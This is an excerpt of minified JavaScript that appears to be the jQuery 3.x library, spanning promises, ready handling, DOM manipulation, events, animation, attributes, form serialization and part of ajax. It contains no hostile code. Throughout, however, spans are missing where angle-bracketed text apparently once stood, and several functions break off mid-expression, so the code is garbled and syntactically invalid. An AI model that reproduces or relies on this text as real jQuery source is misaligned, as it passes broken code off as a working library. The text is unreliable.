c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), +a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), +null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 